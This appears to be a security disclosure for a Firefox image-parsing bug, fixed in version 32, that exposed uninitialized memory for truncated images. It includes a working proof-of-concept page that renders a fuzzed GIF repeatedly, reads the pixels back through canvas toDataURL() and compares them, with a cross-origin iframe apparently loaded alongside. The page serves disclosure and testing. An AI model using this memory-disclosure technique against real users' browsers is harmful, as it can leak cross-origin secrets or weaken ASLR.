The recent release of Firefox 32 fixes another interesting image parsing issue found by afl. Following a refactoring of memory management code, the past few versions of the browser ended up using uninitialized memory for certain types of truncated images, which is easily measurable with a simple <canvas> + toDataURL() harness that examines all the fuzzer-generated test cases. Depending on a variety of factors, problems like that may leak secrets across web origins, or more prosaically, may help attackers bypass security measures such as ASLR. This code is a proof of concept for versions prior to 32.
<style>
body {
background-color: #d0d0d0;
}
img {
border: 1px solid teal;
margin: 1ex;
}
canvas {
border: 1px solid crimson;
margin: 1ex;
}
</style>
<body onload="set_images()">
<div id="status">
</div>
<div id="image_div">
</div>
<canvas height=32 width=32 id=cvs>
</canvas>
<h2>Variants:</h2>
<ul id="output">
</ul>
<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');
var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;
function check_results() {
var uniques = [];
uniques.push(image_obj[0].imgdata);
document.getElementById('output').innerHTML +=
'<img src="' + image_obj[0].imgdata + '">';
for (var i = 1; i < USE_IMAGES; i++) {
if (image_obj[0].imgdata != image_obj[i].imgdata) {
for (var j = 1; j < uniques.length; j++)
if (uniques[j] == image_obj[i].imgdata) break;
if (j == uniques.length) {
uniques.push(image_obj[i].imgdata);
document.getElementById('output').innerHTML +=
'<img src="' + image_obj[i].imgdata + '">';
}
}
}
if (uniques.length > 1)
alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
else
alert('The image has just one variant when rendered. You\'re probably OK.');
}
function count_image() {
loaded++;
ctx.clearRect(0, 0, 32, 32);
try {
ctx.drawImage(this, 0, 0, 32, 32);
} catch (e) { }
this.imgdata = c.toDataURL();
if (loaded == USE_IMAGES) check_results();
}
function set_images() {
loaded = 0;
create_images();
for (var i = 0; i < USE_IMAGES; i++)
image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();
}
function create_images() {
for (var i = 0; i < USE_IMAGES; i++) {
image_obj[i] = new Image();
image_obj[i].height = 32;
image_obj[i].width = 32;
image_obj[i].onerror = count_image;
image_obj[i].onload = count_image;
document.getElementById('image_div').appendChild(image_obj[i]);
}
}
</script>
<iframe src='http://www.cnn.com/'></iframe>
